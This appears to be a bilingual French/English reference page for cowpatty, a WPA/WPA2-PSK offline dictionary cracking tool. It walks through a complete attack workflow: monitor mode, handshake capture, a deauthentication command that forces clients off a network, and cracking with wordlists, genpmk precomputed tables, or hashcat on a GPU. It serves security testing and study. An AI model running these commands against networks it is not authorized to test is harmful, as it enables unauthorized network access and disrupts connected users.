cowpatty

Outil d'attaque par dictionnaire hors ligne WPA/WPA2-PSK. Casse les 4-way handshakes capturés avec des wordlists ou des tables de hachages pré-calculées (rainbow tables) pour des attaques plus rapides. WPA/WPA2-PSK offline dictionary attack tool. Cracks captured 4-way handshakes using wordlists or pre-computed hash tables (rainbow tables) for faster attacks.

↗ https://github.com/joswr1ght/cowpatty

Overview

cowpatty performs offline dictionary attacks against WPA/WPA2-PSK handshakes. It reads a captured 4-way handshake (from airodump-ng) and tests passphrases from a wordlist. Optionally uses pre-computed PBKDF2 hash tables (generated with genpmk) to massively speed up attacks against specific SSIDs.

Basic Usage

Dictionary attack against captured handshake

cowpatty -f /usr/share/wordlists/rockyou.txt -r capture.cap -s "NetworkSSID"

With pre-computed hash file (much faster)

cowpatty -d hashes.db -r capture.cap -s "NetworkSSID"

Quiet mode (less output)

cowpatty -f wordlist.txt -r capture.cap -s "NetworkSSID" -q

Capturing the Handshake

# Step 1: Put card in monitor mode
airmon-ng check kill
airmon-ng start wlan0

# Step 2: Find target and capture
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

Step 3: Force client reconnect (deauth)

aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Step 4: Wait for "WPA handshake:" message in airodump
# capture.cap now contains the handshake

Pre-computed Hash Tables (genpmk)

Generate PBKDF2 hash table for a specific SSID (slow to generate, fast to use — works only for this exact SSID)

genpmk -f /usr/share/wordlists/rockyou.txt -d hashes.db -s "HomeNetwork"
# This pre-computes: PBKDF2(passphrase, SSID, 4096, 256)
# for every word in the wordlist

Then attack with pre-computed table

cowpatty -d hashes.db -r capture.cap -s "HomeNetwork"

→ Much faster than per-passphrase computation

Performance Comparison

cowpatty (CPU, dictionary):      ~100-300 PMKs/sec
cowpatty (pre-computed table):   ~50,000-100,000 PMKs/sec
hashcat (GPU, mode 22000):       ~200,000-2,000,000 PMKs/sec

→ For speed: use hashcat with hcxtools (convert to .hc22000 format)
→ cowpatty is educational/fallback when GPU isn't available

Convert handshake for hashcat (faster than cowpatty)

hcxpcapngtool -o hash.hc22000 capture.cap

Crack with GPU

hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

Show cracked passwords

hashcat -m 22000 hash.hc22000 --show

Tips

  • cowpatty is CPU-only — hashcat on a GPU is 100-1000x faster for WPA cracking
  • Pre-computed tables (genpmk) only work for the exact SSID they were generated for
  • Rainbow tables for WPA are large but available online for common SSIDs (e.g., “linksys”, “default”)
  • Always convert with hcxtools and use hashcat for production cracking
Help / Man page
cowpatty [options]

-f FILE     Wordlist file (dictionary mode)
-d FILE     Pre-computed hash file (rainbow table mode)
-r FILE     Packet capture file (with handshake)
-s SSID     Target SSID (required)
-q          Quiet mode (suppress progress)
-v          Verbose mode

genpmk (generates pre-computed hash tables):
  -f FILE   Wordlist input file
  -d FILE   Output hash file
  -s SSID   SSID for hash computation

Vue d’ensemble

cowpatty mène des attaques par dictionnaire hors ligne contre les handshakes WPA/WPA2-PSK. Il lit un 4-way handshake capturé (depuis airodump-ng) et teste des passphrases d’une wordlist. Il peut optionnellement utiliser des tables de hachages PBKDF2 pré-calculées (générées avec genpmk) pour accélérer massivement les attaques contre des SSID précis.

Utilisation de base

# Attaque par dictionnaire contre un handshake capturé
cowpatty -f /usr/share/wordlists/rockyou.txt -r capture.cap -s "NetworkSSID"

# Avec un fichier de hachages pré-calculés (bien plus rapide)
cowpatty -d hashes.db -r capture.cap -s "NetworkSSID"

# Mode silencieux (moins de sortie)
cowpatty -f wordlist.txt -r capture.cap -s "NetworkSSID" -q

Capturer le handshake

# Étape 1 : passer la carte en mode monitor
airmon-ng check kill
airmon-ng start wlan0

# Étape 2 : trouver la cible et capturer
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Étape 3 : forcer la reconnexion du client (deauth)
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Étape 4 : attendre le message "WPA handshake:" dans airodump
# capture.cap contient maintenant le handshake

Tables de hachages pré-calculées (genpmk)

# Générer une table de hachages PBKDF2 pour un SSID précis
# (lente à générer, rapide à utiliser : ne fonctionne que pour ce SSID exact)
genpmk -f /usr/share/wordlists/rockyou.txt -d hashes.db -s "HomeNetwork"
# Cela pré-calcule : PBKDF2(passphrase, SSID, 4096, 256)
# pour chaque mot de la wordlist
# Puis attaquer avec la table pré-calculée
cowpatty -d hashes.db -r capture.cap -s "HomeNetwork"
# → Bien plus rapide que le calcul par passphrase

Comparaison de performances

cowpatty (CPU, dictionnaire) :      ~100-300 PMK/sec
cowpatty (table pré-calculée) :     ~50 000-100 000 PMK/sec
hashcat (GPU, mode 22000) :         ~200 000-2 000 000 PMK/sec

→ Pour la vitesse : utilisez hashcat avec hcxtools (convertir au format .hc22000)
→ cowpatty est éducatif / une solution de repli quand le GPU n'est pas disponible

Workflow Hashcat (alternative recommandée)

# Convertir le handshake pour hashcat (plus rapide que cowpatty)
hcxpcapngtool -o hash.hc22000 capture.cap

# Cracker avec le GPU
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Afficher les mots de passe cassés
hashcat -m 22000 hash.hc22000 --show

Conseils

  • cowpatty est CPU uniquement : hashcat sur un GPU est 100 à 1000x plus rapide pour le crack WPA
  • Les tables pré-calculées (genpmk) ne fonctionnent que pour le SSID exact pour lequel elles ont été générées
  • Les rainbow tables pour WPA sont volumineuses mais disponibles en ligne pour les SSID courants (par ex. “linksys”, “default”)
  • Convertissez toujours avec hcxtools et utilisez hashcat pour le crack en production
Aide / Page de manuel
cowpatty [options]

-f FILE     Wordlist file (dictionary mode)
-d FILE     Pre-computed hash file (rainbow table mode)
-r FILE     Packet capture file (with handshake)
-s SSID     Target SSID (required)
-q          Quiet mode (suppress progress)
-v          Verbose mode

genpmk (generates pre-computed hash tables):
  -f FILE   Wordlist input file
  -d FILE   Output hash file
  -s SSID   SSID for hash computation